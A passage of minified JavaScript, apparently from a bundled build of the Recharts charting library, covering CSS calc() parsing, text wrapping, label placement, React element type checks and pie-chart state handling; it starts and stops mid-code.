t2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([*/])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,n2=/(-?\d+(?:\.\d+)?[a-zA-Z%]*)([+-])(-?\d+(?:\.\d+)?[a-zA-Z%]*)/,gte=/^px|cm|vh|vw|em|rem|%|mm|in|pt|pc|ex|ch|vmin|vmax|Q$/,yte=/(-?\d+(?:\.\d+)?)([a-zA-Z%]+)?/,bte={cm:96/2.54,mm:96/25.4,pt:96/72,pc:96/6,in:96,Q:96/(2.54*40),px:1},xte=["cm","mm","pt","pc","in","Q","px"];function wte(e){return xte.includes(e)}var Al="NaN";function Ste(e,t){return e*bte[t]}class Jt{static parse(t){var n,[,r,i]=(n=yte.exec(t))!==null&&n!==void 0?n:[];return r==null?Jt.NaN:new Jt(parseFloat(r),i??"")}constructor(t,n){this.num=t,this.unit=n,this.num=t,this.unit=n,Hr(t)&&(this.unit=""),n!==""&&!gte.test(n)&&(this.num=NaN,this.unit=""),wte(n)&&(this.num=Ste(t,n),this.unit="px")}add(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num+t.num,this.unit)}subtract(t){return this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num-t.num,this.unit)}multiply(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num*t.num,this.unit||t.unit)}divide(t){return this.unit!==""&&t.unit!==""&&this.unit!==t.unit?new Jt(NaN,""):new Jt(this.num/t.num,this.unit||t.unit)}toString(){return"".concat(this.num).concat(this.unit)}isNaN(){return Hr(this.num)}}UL=Jt;pte(Jt,"NaN",new UL(NaN,""));function HL(e){if(e==null||e.includes(Al))return Al;for(var t=e;t.includes("*")||t.includes("/");){var n,[,r,i,l]=(n=t2.exec(t))!==null&&n!==void 0?n:[],c=Jt.parse(r??""),u=Jt.parse(l??""),f=i==="*"?c.multiply(u):c.divide(u);if(f.isNaN())return Al;t=t.replace(t2,f.toString())}for(;t.includes("+")||/.-\d+(?:\.\d+)?/.test(t);){var h,[,p,m,y]=(h=n2.exec(t))!==null&&h!==void 0?h:[],x=Jt.parse(p??""),S=Jt.parse(y??""),w=m==="+"?x.add(S):x.subtract(S);if(w.isNaN())return Al;t=t.replace(n2,w.toString())}return t}var r2=/\(([^()]*)\)/;function Ote(e){for(var t=e,n;(n=r2.exec(t))!=null;){var[,r]=n;t=t.replace(r2,HL(r))}return t}function Ete(e){var t=e.replace(/\s+/g,"");return t=Ote(t),t=HL(t),t}function Ate(e){try{return Ete(e)}catch{return Al}}function Fy(e){var t=Ate(e.slice(5,-1));return t===Al?"":t}var Cte=["x","y","lineHeight","capHeight","fill","scaleToFit","textAnchor","verticalAnchor"],_te=["dx","dy","angle","className","breakAll"];function pb(){return pb=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:t,breakAll:n,style:r}=e;try{var i=[];Vt(t)||(n?i=t.toString().split(""):i=t.toString().split(qL));var l=i.map(u=>({word:u,width:bc(u,r).width})),c=n?0:bc(" ",r).width;return{wordsWithComputedWidth:l,spaceWidth:c}}catch{return null}};function Nte(e){return e==="start"||e==="middle"||e==="end"||e==="inherit"}var VL=(e,t,n,r)=>e.reduce((i,l)=>{var{word:c,width:u}=l,f=i[i.length-1];if(f&&u!=null&&(t==null||r||f.width+u+ne.reduce((t,n)=>t.width>n.width?t:n),Mte="…",i2=(e,t,n,r,i,l,c,u)=>{var f=e.slice(0,t),h=FL({breakAll:n,style:r,children:f+Mte});if(!h)return[!1,[]];var p=VL(h.wordsWithComputedWidth,l,c,u),m=p.length>i||KL(p).width>Number(l);return[m,p]},jte=(e,t,n,r,i)=>{var{maxLines:l,children:c,style:u,breakAll:f}=e,h=Oe(l),p=String(c),m=VL(t,r,n,i);if(!h||i)return m;var y=m.length>l||KL(m).width>Number(r);if(!y)return m;for(var x=0,S=p.length-1,w=0,O;x<=S&&w<=p.length-1;){var A=Math.floor((x+S)/2),_=A-1,[T,j]=i2(p,_,f,u,l,r,n,i),[M]=i2(p,A,f,u,l,r,n,i);if(!T&&!M&&(x=A+1),T&&M&&(S=A-1),!T&&M){O=j;break}w++}return O||m},o2=e=>{var t=Vt(e)?[]:e.toString().split(qL);return[{words:t,width:void 0}]},Pte=e=>{var{width:t,scaleToFit:n,children:r,style:i,breakAll:l,maxLines:c}=e;if((t||n)&&!mp.isSsr){var u,f,h=FL({breakAll:l,children:r,style:i});if(h){var{wordsWithComputedWidth:p,spaceWidth:m}=h;u=p,f=m}else return o2(r);return jte({breakAll:l,children:r,maxLines:c,style:i},u,f,t,!!n)}return o2(r)},YL="#808080",Rte={angle:0,breakAll:!1,capHeight:"0.71em",fill:YL,lineHeight:"1em",scaleToFit:!1,textAnchor:"start",verticalAnchor:"end",x:0,y:0},kp=v.forwardRef((e,t)=>{var n=pn(e,Rte),{x:r,y:i,lineHeight:l,capHeight:c,fill:u,scaleToFit:f,textAnchor:h,verticalAnchor:p}=n,m=a2(n,Cte),y=v.useMemo(()=>Pte({breakAll:m.breakAll,children:m.children,maxLines:m.maxLines,scaleToFit:f,style:m.style,width:m.width}),[m.breakAll,m.children,m.maxLines,f,m.style,m.width]),{dx:x,dy:S,angle:w,className:O,breakAll:A}=m,_=a2(m,_te);if(!qr(r)||!qr(i)||y.length===0)return null;var T=Number(r)+(Oe(x)?x:0),j=Number(i)+(Oe(S)?S:0);if(!ht(T)||!ht(j))return null;var M;switch(p){case"start":M=Fy("calc(".concat(c,")"));break;case"middle":M=Fy("calc(".concat((y.length-1)/2," * -").concat(l," + (").concat(c," / 2))"));break;default:M=Fy("calc(".concat(y.length-1," * -").concat(l,")"));break}var P=[];if(f){var R=y[0].width,{width:I}=m;P.push("scale(".concat(Oe(I)&&Oe(R)?I/R:1,")"))}return w&&P.push("rotate(".concat(w,", ").concat(T,", ").concat(j,")")),P.length&&(_.transform=P.join(" ")),v.createElement("text",pb({},ur(_),{ref:t,x:T,y:j,className:Ye("recharts-text",O),textAnchor:h,fill:u.includes("url")?YL:u}),y.map((B,q)=>{var U=B.words.join(A?"":" ");return v.createElement("tspan",{x:T,dy:q===0?M:l,key:"".concat(U,"-").concat(q)},U)}))});kp.displayName="Text";var Dte=["labelRef"],kte=["content"];function l2(e,t){if(e==null)return{};var n,r,i=Lte(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var{x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c,children:u}=e,f=v.useMemo(()=>({x:t,y:n,upperWidth:r,lowerWidth:i,width:l,height:c}),[t,n,r,i,l,c]);return v.createElement(GL.Provider,{value:f},u)},WL=()=>{var e=v.useContext(GL),t=up();return e||pD(t)},Ute=v.createContext(null),Hte=()=>{var e=v.useContext(Ute),t=we($k);return e||t},qte=e=>{var{value:t,formatter:n}=e,r=Vt(e.children)?t:e.children;return typeof n=="function"?n(r):r},I1=e=>e!=null&&typeof e=="function",Fte=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r},Vte=(e,t,n,r,i)=>{var{offset:l,className:c}=e,{cx:u,cy:f,innerRadius:h,outerRadius:p,startAngle:m,endAngle:y,clockWise:x}=i,S=(h+p)/2,w=Fte(m,y),O=w>=0?1:-1,A,_;switch(t){case"insideStart":A=m+O*l,_=x;break;case"insideEnd":A=y-O*l,_=!x;break;case"end":A=y+O*l,_=x;break;default:throw new Error("Unsupported position ".concat(t))}_=w<=0?_:!_;var T=Nt(u,f,S,A),j=Nt(u,f,S,A+(_?1:-1)*359),M="M".concat(T.x,",").concat(T.y,` - A`).concat(S,",").concat(S,",0,1,").concat(_?0:1,`, - `).concat(j.x,",").concat(j.y),P=Vt(e.id)?Ac("recharts-radial-line-"):e.id;return v.createElement("text",va({},r,{dominantBaseline:"central",className:Ye("recharts-radial-bar-label",c)}),v.createElement("defs",null,v.createElement("path",{id:P,d:M})),v.createElement("textPath",{xlinkHref:"#".concat(P)},n))},Kte=(e,t,n)=>{var{cx:r,cy:i,innerRadius:l,outerRadius:c,startAngle:u,endAngle:f}=e,h=(u+f)/2;if(n==="outside"){var{x:p,y:m}=Nt(r,i,c+t,h);return{x:p,y:m,textAnchor:p>=r?"start":"end",verticalAnchor:"middle"}}if(n==="center")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"middle"};if(n==="centerTop")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"start"};if(n==="centerBottom")return{x:r,y:i,textAnchor:"middle",verticalAnchor:"end"};var y=(l+c)/2,{x,y:S}=Nt(r,i,y,h);return{x,y:S,textAnchor:"middle",verticalAnchor:"middle"}},mb=e=>"cx"in e&&Oe(e.cx),Yte=(e,t)=>{var{parentViewBox:n,offset:r,position:i}=e,l;n!=null&&!mb(n)&&(l=n);var{x:c,y:u,upperWidth:f,lowerWidth:h,height:p}=t,m=c,y=c+(f-h)/2,x=(m+y)/2,S=(f+h)/2,w=m+f/2,O=p>=0?1:-1,A=O*r,_=O>0?"end":"start",T=O>0?"start":"end",j=f>=0?1:-1,M=j*r,P=j>0?"end":"start",R=j>0?"start":"end";if(i==="top"){var I={x:m+f/2,y:u-A,textAnchor:"middle",verticalAnchor:_};return Ot(Ot({},I),l?{height:Math.max(u-l.y,0),width:f}:{})}if(i==="bottom"){var B={x:y+h/2,y:u+p+A,textAnchor:"middle",verticalAnchor:T};return Ot(Ot({},B),l?{height:Math.max(l.y+l.height-(u+p),0),width:h}:{})}if(i==="left"){var q={x:x-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"};return Ot(Ot({},q),l?{width:Math.max(q.x-l.x,0),height:p}:{})}if(i==="right"){var U={x:x+S+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"};return Ot(Ot({},U),l?{width:Math.max(l.x+l.width-U.x,0),height:p}:{})}var V=l?{width:S,height:p}:{};return i==="insideLeft"?Ot({x:x+M,y:u+p/2,textAnchor:R,verticalAnchor:"middle"},V):i==="insideRight"?Ot({x:x+S-M,y:u+p/2,textAnchor:P,verticalAnchor:"middle"},V):i==="insideTop"?Ot({x:m+f/2,y:u+A,textAnchor:"middle",verticalAnchor:T},V):i==="insideBottom"?Ot({x:y+h/2,y:u+p-A,textAnchor:"middle",verticalAnchor:_},V):i==="insideTopLeft"?Ot({x:m+M,y:u+A,textAnchor:R,verticalAnchor:T},V):i==="insideTopRight"?Ot({x:m+f-M,y:u+A,textAnchor:P,verticalAnchor:T},V):i==="insideBottomLeft"?Ot({x:y+M,y:u+p-A,textAnchor:R,verticalAnchor:_},V):i==="insideBottomRight"?Ot({x:y+h-M,y:u+p-A,textAnchor:P,verticalAnchor:_},V):i&&typeof i=="object"&&(Oe(i.x)||Ea(i.x))&&(Oe(i.y)||Ea(i.y))?Ot({x:c+on(i.x,S),y:u+on(i.y,p),textAnchor:"end",verticalAnchor:"end"},V):Ot({x:w,y:u+p/2,textAnchor:"middle",verticalAnchor:"middle"},V)},Gte={angle:0,offset:5,zIndex:an.label,position:"middle",textBreakAll:!1};function vi(e){var t=pn(e,Gte),{viewBox:n,position:r,value:i,children:l,content:c,className:u="",textBreakAll:f,labelRef:h}=t,p=Hte(),m=WL(),y=r==="center"?m:p??m,x,S,w;if(n==null?x=y:mb(n)?x=n:x=pD(n),!x||Vt(i)&&Vt(l)&&!v.isValidElement(c)&&typeof c!="function")return null;var O=Ot(Ot({},t),{},{viewBox:x});if(v.isValidElement(c)){var{labelRef:A}=O,_=l2(O,Dte);return v.cloneElement(c,_)}if(typeof c=="function"){var{content:T}=O,j=l2(O,kte);if(S=v.createElement(c,j),v.isValidElement(S))return S}else S=qte(t);var M=ur(t);if(mb(x)){if(r==="insideStart"||r==="insideEnd"||r==="end")return Vte(t,r,S,M,x);w=Kte(x,t.offset,t.position)}else w=Yte(t,x);return v.createElement(Gr,{zIndex:t.zIndex},v.createElement(kp,va({ref:h,className:Ye("recharts-label",u)},M,w,{textAnchor:Nte(M.textAnchor)?M.textAnchor:w.textAnchor,breakAll:f}),S))}vi.displayName="Label";var Wte=(e,t,n)=>{if(!e)return null;var r={viewBox:t,labelRef:n};return e===!0?v.createElement(vi,va({key:"label-implicit"},r)):qr(e)?v.createElement(vi,va({key:"label-implicit",value:e},r)):v.isValidElement(e)?e.type===vi?v.cloneElement(e,Ot({key:"label-implicit"},r)):v.createElement(vi,va({key:"label-implicit",content:e},r)):I1(e)?v.createElement(vi,va({key:"label-implicit",content:e},r)):e&&typeof e=="object"?v.createElement(vi,va({},e,{key:"label-implicit"},r)):null};function Xte(e){var{label:t,labelRef:n}=e,r=WL();return Wte(t,r,n)||null}var Vy={},Ky={},c2;function Zte(){return c2||(c2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(Ky)),Ky}var Yy={},u2;function Qte(){return u2||(u2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(Yy)),Yy}var f2;function Jte(){return f2||(f2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=Zte(),n=Qte(),r=dx();function i(l){if(r.isArrayLike(l))return t.last(n.toArray(l))}e.last=i})(Vy)),Vy}var Gy,d2;function ene(){return d2||(d2=1,Gy=Jte().last),Gy}var tne=ene();const nne=Vr(tne);var rne=["valueAccessor"],ane=["dataKey","clockWise","id","textBreakAll","zIndex"];function fh(){return fh=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?nne(e.value):e.value,XL=v.createContext(void 0),lne=XL.Provider,ZL=v.createContext(void 0),sne=ZL.Provider;function cne(){return v.useContext(XL)}function une(){return v.useContext(ZL)}function vd(e){var{valueAccessor:t=one}=e,n=h2(e,rne),{dataKey:r,clockWise:i,id:l,textBreakAll:c,zIndex:u}=n,f=h2(n,ane),h=cne(),p=une(),m=h||p;return!m||!m.length?null:v.createElement(Gr,{zIndex:u??an.label},v.createElement(fn,{className:"recharts-label-list"},m.map((y,x)=>{var S,w=Vt(r)?t(y,x):lt(y&&y.payload,r),O=Vt(l)?{}:{id:"".concat(l,"-").concat(x)};return v.createElement(vi,fh({key:"label-".concat(x)},ur(y),f,O,{fill:(S=n.fill)!==null&&S!==void 0?S:y.fill,parentViewBox:y.parentViewBox,value:w,textBreakAll:c,viewBox:y.viewBox,index:x,zIndex:0}))})))}vd.displayName="LabelList";function QL(e){var{label:t}=e;return t?t===!0?v.createElement(vd,{key:"labelList-implicit"}):v.isValidElement(t)||I1(t)?v.createElement(vd,{key:"labelList-implicit",content:t}):typeof t=="object"?v.createElement(vd,fh({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}var JL=e=>e.graphicalItems.polarItems,fne=G([dt,ou],o1),Lp=G([JL,pt,fne],s1),dne=G([Lp],c1),Ip=G([dne,Ep],u1),hne=G([Ip,pt,Lp],d1);G([Ip,pt,Lp],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var l,c=lt(r,(l=t.dataKey)!==null&&l!==void 0?l:i.dataKey);return{value:c,errorDomain:[]}})).filter(Boolean):t?.dataKey!=null?e.map(r=>({value:lt(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var p2=()=>{},pne=G([Ip,pt,Lp,jp,dt],v1),mne=G([pt,p1,m1,p2,pne,p2,Fe,dt],g1),eI=G([pt,Fe,Ip,hne,iu,dt,mne],y1),vne=G([eI,pt,rs],w1);G([pt,eI,vne,dt],O1);var gne={radiusAxis:{},angleAxis:{}},tI=An({name:"polarAxis",initialState:gne,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:Oue,removeRadiusAxis:Eue,addAngleAxis:Aue,removeAngleAxis:Cue}=tI.actions,yne=tI.reducer;function m2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function v2(e){for(var t=1;tt,z1=G([JL,Sne],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),One=[],$1=(e,t,n)=>n?.length===0?One:n,nI=G([Ep,z1,$1],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if(t?.data!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(l=>v2(v2({},t.presentationProps),l.props))),i!=null)return i}}),Ene=G([nI,z1,$1],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var l,c=lt(r,t.nameKey,t.name),u;return n!=null&&(l=n[i])!==null&&l!==void 0&&(l=l.props)!==null&&l!==void 0&&l.fill?u=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?u=r.fill:u=t.fill,{value:ip(c,t.dataKey),color:u,payload:r,type:t.legendType}})}),Ane=G([nI,z1,$1,kt],(e,t,n,r)=>{if(!(t==null||e==null))return Nre({offset:r,pieSettings:t,displayedData:e,cells:n})}),Wy={exports:{}},et={};var g2;function Cne(){if(g2)return et;g2=1;var e=Symbol.for("react.transitional.element"),t=Symbol.for("react.portal"),n=Symbol.for("react.fragment"),r=Symbol.for("react.strict_mode"),i=Symbol.for("react.profiler"),l=Symbol.for("react.consumer"),c=Symbol.for("react.context"),u=Symbol.for("react.forward_ref"),f=Symbol.for("react.suspense"),h=Symbol.for("react.suspense_list"),p=Symbol.for("react.memo"),m=Symbol.for("react.lazy"),y=Symbol.for("react.view_transition"),x=Symbol.for("react.client.reference");function S(w){if(typeof w=="object"&&w!==null){var O=w.$$typeof;switch(O){case e:switch(w=w.type,w){case n:case i:case r:case f:case h:case y:return w;default:switch(w=w&&w.$$typeof,w){case c:case u:case m:case p:return w;case l:return w;default:return O}}case t:return O}}}return et.ContextConsumer=l,et.ContextProvider=c,et.Element=e,et.ForwardRef=u,et.Fragment=n,et.Lazy=m,et.Memo=p,et.Portal=t,et.Profiler=i,et.StrictMode=r,et.Suspense=f,et.SuspenseList=h,et.isContextConsumer=function(w){return S(w)===l},et.isContextProvider=function(w){return S(w)===c},et.isElement=function(w){return typeof w=="object"&&w!==null&&w.$$typeof===e},et.isForwardRef=function(w){return S(w)===u},et.isFragment=function(w){return S(w)===n},et.isLazy=function(w){return S(w)===m},et.isMemo=function(w){return S(w)===p},et.isPortal=function(w){return S(w)===t},et.isProfiler=function(w){return S(w)===i},et.isStrictMode=function(w){return S(w)===r},et.isSuspense=function(w){return S(w)===f},et.isSuspenseList=function(w){return S(w)===h},et.isValidElementType=function(w){return typeof w=="string"||typeof w=="function"||w===n||w===i||w===r||w===f||w===h||typeof w=="object"&&w!==null&&(w.$$typeof===m||w.$$typeof===p||w.$$typeof===c||w.$$typeof===l||w.$$typeof===u||w.$$typeof===x||w.getModuleId!==void 0)},et.typeOf=S,et}var y2;function _ne(){return y2||(y2=1,Wy.exports=Cne()),Wy.exports}var Tne=_ne(),b2=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",x2=null,Xy=null,rI=e=>{if(e===x2&&Array.isArray(Xy))return Xy;var t=[];return v.Children.forEach(e,n=>{Vt(n)||(Tne.isFragment(n)?t=t.concat(rI(n.props.children)):t.push(n))}),Xy=t,x2=e,t};function B1(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>b2(i)):r=[b2(t)],rI(e).forEach(i=>{var l=co(i,"type.displayName")||co(i,"type.name");l&&r.indexOf(l)!==-1&&n.push(i)}),n}var Zy={},w2;function Nne(){return w2||(w2=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const i=n[Symbol.toStringTag];return i==null||!Object.getOwnPropertyDescriptor(n,Symbol.toStringTag)?.writable?!1:n.toString()===`[object ${i}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(Zy)),Zy}var Qy,S2;function Mne(){return S2||(S2=1,Qy=Nne().isPlainObject),Qy}var jne=Mne();const Pne=Vr(jne);var O2,E2,A2,C2,_2;function T2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function N2(e){for(var t=1;t{var l=n-r,c;return c=gt(O2||(O2=fc(["M ",",",""])),e,t),c+=gt(E2||(E2=fc(["L ",",",""])),e+n,t),c+=gt(A2||(A2=fc(["L ",",",""])),e+n-l/2,t+i),c+=gt(C2||(C2=fc(["L ",",",""])),e+n-l/2-r,t+i),c+=gt(_2||(_2=fc(["L ",","," Z"])),e,t),c},Lne={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},Ine=e=>{var t=pn(e,Lne),{x:n,y:r,upperWidth:i,lowerWidth:l,height:c,className:u}=t,{animationEasing:f,animationDuration:h,animationBegin:p,isUpdateAnimationActive:m}=t,y=v.useRef(null),[x,S]=v.useState(-1),w=v.useRef(i),O=v.useRef(l),A=v.useRef(c),_=v.useRef(n),T=v.useRef(r),j=gp(e,"trapezoid-");if(v.useEffect(()=>{if(y.current&&y.current.getTotalLength)try{var le=y.current.getTotalLength();le&&S(le)}catch{}},[]),n!==+n||r!==+r||i!==+i||l!==+l||c!==+c||i===0&&l===0||c===0)return null;var M=Ye("recharts-trapezoid",u);if(!m)return v.createElement("g",null,v.createElement("path",dh({},ur(t),{className:M,d:M2(n,r,i,l,c)})));var P=w.current,R=O.current,I=A.current,B=_.current,q=T.current,U="0px ".concat(x===-1?1:x,"px"),V="".concat(x,"px 0px"),oe=CD(["strokeDasharray"],h,f);return v.createElement(vp,{animationId:j,key:j,canBegin:x>0,duration:h,easing:f,isActive:m,begin:p},le=>{var ce=Rt(P,i,le),L=Rt(R,l,le),F=Rt(I,c,le),$=Rt(B,n,le),Z=Rt(q,r,le);y.current&&(w.current=ce,O.current=L,A.current=F,_.current=$,T.current=Z);var de=le>0?{transition:oe,strokeDasharray:V}:{strokeDasharray:U};return v.createElement("path",dh({},ur(t),{className:M,d:M2($,Z,ce,L,F),ref:y,style:N2(N2({},de),t.style)}))})},zne=["option","shapeType","activeClassName"];function $ne(e,t){if(e==null)return{};var n,r,i=Bne(e,t);if(Object.getOwnPropertySymbols){var l=Object.getOwnPropertySymbols(e);for(r=0;r{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(vL({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},H1=e=>{var t=ft();return(n,r)=>i=>{e?.(n,r,i),t(QQ())}},q1=(e,t,n)=>{var r=ft();return(i,l)=>c=>{e?.(i,l,c),r(JQ({activeIndex:String(l),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function iI(e){var{tooltipEntrySettings:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(GQ(t)):i.current!==t&&n(WQ({prev:i.current,next:t})),i.current=t)},[t,n,r]),v.useLayoutEffect(()=>()=>{i.current&&(n(XQ(i.current)),i.current=null)},[n]),null}function Yne(e){var{legendPayload:t}=e,n=ft(),r=Vn(),i=v.useRef(null);return v.useLayoutEffect(()=>{r||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}function Gne(e){var{legendPayload:t}=e,n=ft(),r=we(Fe),i=v.useRef(null);return v.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(SD(t)):i.current!==t&&n(OD({prev:i.current,next:t})),i.current=t)},[n,r,t]),v.useLayoutEffect(()=>()=>{i.current&&(n(ED(i.current)),i.current=null)},[n]),null}var Jy,Wne=()=>{var[e]=v.useState(()=>Ac("uid-"));return e},Xne=(Jy=Eh.useId)!==null&&Jy!==void 0?Jy:Wne;function Zne(e,t){var n=Xne();return t||(e?"".concat(e,"-").concat(n):n)}var Qne=v.createContext(void 0),oI=e=>{var{id:t,type:n,children:r}=e,i=Zne("recharts-".concat(n),t);return v.createElement(Qne.Provider,{value:i},r(i))},Jne={cartesianItems:[],polarItems:[]},lI=An({name:"graphicalItems",initialState:Jne,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:ct()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:ct()},removeCartesianGraphicalItem:{reducer(e,t){var n=Sr(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:ct()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:ct()},removePolarGraphicalItem:{reducer(e,t){var n=Sr(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:ct()}}}),{addCartesianGraphicalItem:ere,replaceCartesianGraphicalItem:tre,removeCartesianGraphicalItem:nre,addPolarGraphicalItem:rre,removePolarGraphicalItem:are}=lI.actions,ire=lI.reducer,ore=e=>{var t=ft(),n=v.useRef(null);return v.useLayoutEffect(()=>{n.current===null?t(ere(e)):n.current!==e&&t(tre({prev:n.current,next:e})),n.current=e},[t,e]),v.useLayoutEffect(()=>()=>{n.current&&(t(nre(n.current)),n.current=null)},[t]),null},lre=v.memo(ore);function sre(e){var t=ft();return v.useLayoutEffect(()=>(t(rre(e)),()=>{t(are(e))}),[t,e]),null}var cre=["key"],ure=["onMouseEnter","onClick","onMouseLeave"],fre=["id"],dre=["id"];function R2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yt(e){for(var t=1;tB1(e.children,vo),[e.children]),n=we(r=>Ene(r,e.id,t));return n==null?null:v.createElement(Gne,{legendPayload:n})}var yre=v.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:l,fill:c,name:u,hide:f,tooltipType:h,id:p}=e,m={dataDefinedOnItem:r.map(y=>y.tooltipPayload),positions:r.map(y=>y.tooltipPosition),settings:{stroke:i,strokeWidth:l,fill:c,dataKey:t,nameKey:n,name:ip(u,t),hide:f,type:h,color:c,unit:"",graphicalItemId:p}};return v.createElement(iI,{tooltipEntrySettings:m})}),bre=(e,t)=>e>t?"start":eon(typeof t=="function"?t(e):t,n,n*.8),wre=(e,t,n)=>{var{top:r,left:i,width:l,height:c}=t,u=jD(l,c),f=i+on(e.cx,l,l/2),h=r+on(e.cy,c,c/2),p=on(e.innerRadius,u,0),m=xre(n,e.outerRadius,u),y=e.maxRadius||Math.sqrt(l*l+c*c)/2;return{cx:f,cy:h,innerRadius:p,outerRadius:m,maxRadius:y}},Sre=(e,t)=>{var n=tn(t-e),r=Math.min(Math.abs(t-e),360);return n*r};function Ore(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}var Ere=(e,t)=>{if(v.isValidElement(e))return v.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ye("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=zp(t,cre);return v.createElement(Cx,Ei({},i,{type:"linear",className:n}))},Are=(e,t,n)=>{if(v.isValidElement(e))return v.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),v.isValidElement(r)))return r;var i=Ye("recharts-pie-label-text",Ore(e));return v.createElement(kp,Ei({},t,{alignmentBaseline:"middle",className:i}),r)};function Cre(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:l,dataKey:c}=n;if(!r||!i||!t)return null;var u=Ur(n),f=Ec(i),h=Ec(l),p=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,m=t.map((y,x)=>{var S=(y.startAngle+y.endAngle)/2,w=Nt(y.cx,y.cy,y.outerRadius+p,S),O=yt(yt(yt(yt({},u),y),{},{stroke:"none"},f),{},{index:x,textAnchor:bre(w.x,y.cx)},w),A=yt(yt(yt(yt({},u),y),{},{fill:"none",stroke:y.fill},h),{},{index:x,points:[Nt(y.cx,y.cy,y.outerRadius,S),w],key:"line"});return v.createElement(Gr,{zIndex:an.label,key:"label-".concat(y.startAngle,"-").concat(y.endAngle,"-").concat(y.midAngle,"-").concat(x)},v.createElement(fn,null,l&&Ere(l,A),Are(i,O,lt(y,c))))});return v.createElement(fn,{className:"recharts-pie-labels"},m)}function _re(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?v.createElement(QL,{label:i}):v.createElement(Cre,{sectors:t,props:n,showLabels:r})}function Tre(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:l,id:c}=e,u=we(mo),f=we(P1),h=we(zJ),{onMouseEnter:p,onClick:m,onMouseLeave:y}=i,x=zp(i,ure),S=U1(p,i.dataKey,c),w=H1(y),O=q1(m,i.dataKey,c);return t==null||t.length===0?null:v.createElement(v.Fragment,null,t.map((A,_)=>{if(A?.startAngle===0&&A?.endAngle===0&&t.length!==1)return 